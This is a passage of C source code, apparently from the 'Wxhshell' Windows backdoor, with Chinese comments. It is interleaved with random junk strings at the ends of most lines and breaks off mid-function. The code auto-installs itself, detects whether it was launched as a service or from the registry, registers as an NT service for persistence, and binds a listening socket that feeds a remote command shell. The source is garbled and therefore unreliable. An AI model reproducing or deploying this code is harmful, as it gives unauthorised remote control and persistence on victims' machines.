} PROCESS_BASIC_INFORMATION; @TD=or .&
O39
PROCNTQSIP NtQueryInformationProcess; s~2o<#
7<*0fy5n n
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 4v |i\V>M
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; [Z"Z5e`
|>.MH
HANDLE hProcess; 3<"j/9;K'
PROCESS_BASIC_INFORMATION pbi; @&`^#pok
OylUuYy~j
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); yj#FO'UY
if(NULL == hInst ) return 0; ZS4dW_*[
yo->mD
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); *$|f9jVh
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); DbLo{mFEIj
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); bGL} nPo
J`)/\9'&&
if (!NtQueryInformationProcess) return 0; +6$+]u]
O8b#'f~
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); sR>>l3H
if(!hProcess) return 0; i%.k{MY
bf+C=A)s0
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; m"/..&'GC
gaz",kK<
CloseHandle(hProcess); hnB`+!
xvl{o
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); {<@ud0A:\
if(hProcess==NULL) return 0; .\T!oSb4[
W_E^+Wl@
HMODULE hMod; v]EZYEXFL)
char procName[255]; $Wj{B@k
unsigned long cbNeeded; F~fBr
T9&{s-3*
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); }T(=tfv@
~!~i_L\V
CloseHandle(hProcess); u&uFXOc'
`ovMfL.u
if(strstr(procName,"services")) return 1; // 以服务启动 KJ32L
Q"D
return 0; // 注册表启动 tc[Ld#
} )W
p7e51
} % Ie
// 主模块 PN?;\k)"
int StartWxhshell(LPSTR lpCmdLine) COu5Tu^
{ xWXLk )A
SOCKET wsl; @ Do.Wgt
BOOL val=TRUE; O50<h O]l
int port=0; \V!{z;.fA
struct sockaddr_in door; 8..|-<w
J^yqu{
if(wscfg.ws_autoins) Install(); X,aRL6>r
6`Y:f[VB
port=atoi(lpCmdLine); }Vob)r{R@
HVoPJ!K3
if(port<=0) port=wscfg.ws_port; 4)D~S4{E5
K];]
WSADATA data; ><D2of|
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; &8l?$7S"_/
aReJ@
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; 0C%IdV%CU
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); \ui'~n_t]
door.sin_family = AF_INET; yc?L
OW0
door.sin_addr.s_addr = inet_addr("127.0.0.1"); #J3o~,t<
door.sin_port = htons(port); \P+^BG!
-*KKrte
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { $%\6"P/64
closesocket(wsl); qMVuFwPhi
return 1; !;(Wm6~*ad
} h[iO'Vq
iYvzZ7
8f
if(listen(wsl,2) == INVALID_SOCKET) { %m f)BC
closesocket(wsl); {+_p?8X
return 1; 8g!79q\c4
} Qx,#Hj
Wxhshell(wsl); G4:\6fu
WSACleanup(); Vf~-v$YI
'}(>s%~
return 0; Miw=2F
rZpsC}C'
} 0j4n11#
A|1xK90^XT
// 以NT服务方式启动 KCbJ^Rln
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) =,;$d*h
{ frPQi{u$
DWORD status = 0; Z3c\}HLY
DWORD specificError = 0xfffffff; #`gX(C>
~K #92
serviceStatus.dwServiceType = SERVICE_WIN32; R,78}7B
serviceStatus.dwCurrentState = SERVICE_START_PENDING; qOy(dG g
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; [zN*P$U]
serviceStatus.dwWin32ExitCode = 0; us?q^>u
serviceStatus.dwServiceSpecificExitCode = 0; DoFe:+_U3
serviceStatus.dwCheckPoint = 0; Z]Udx
serviceStatus.dwWaitHint = 0; *,CJ 3<>
WvT H+
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler);
0n6eWwY
if (hServiceStatusHandle==0) return; R[l`# I
H
$Az,-P
status = GetLastError(); HAI)+J
if (status!=NO_ERROR) %vy,A*
{ o96c`a u
serviceStatus.dwCurrentState = SERVICE_STOPPED; de2G"'F
serviceStatus.dwCheckPoint = 0; fi>.X99(G
serviceStatus.dwWaitHint = 0; 7Ko*`-p
serviceStatus.dwWin32ExitCode = status; P.q7rk<
serviceStatus.dwServiceSpecificExitCode = specificError; qGV(p}$O
SetServiceStatus(hServiceStatusHandle, &serviceStatus); B,_K mHItd
return; d2i?FT>
} dl8f]y#Q
wT- -i@@
serviceStatus.dwCurrentState = SERVICE_RUNNING; 0_ST2I"Ln
serviceStatus.dwCheckPoint = 0; \.i ejB
serviceStatus.dwWaitHint = 0; p<'pqf
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); k"gm;,`
} ~ L%,9
/v<Gt%3X
// 处理NT服务事件,比如:启动、停止 +U
J~/XV
VOID WINAPI NTServiceHandler(DWORD fdwControl) ga\s5
{ \F`>zY2$%
switch(fdwControl) FIfLDT+ Wh
{ ~E8/m_> rU
case SERVICE_CONTROL_STOP: f?=0Wzb
serviceStatus.dwWin32ExitCode = 0; ,7s+-sRG
serviceStatus.dwCurrentState = SERVICE_STOPPED; |,`"Omb9+m
serviceStatus.dwCheckPoint = 0; !9HWx_,|Z
serviceStatus.dwWaitHint = 0; oXht$Q
{ P3W3+pwq
SetServiceStatus(hServiceStatusHandle, &serviceStatus); Ig?9"{9p
} *a\x!c"
return; /*fx`0mY)
case SERVICE_CONTROL_PAUSE: G)NqIur*Z
serviceStatus.dwCurrentState = SERVICE_PAUSED; nM&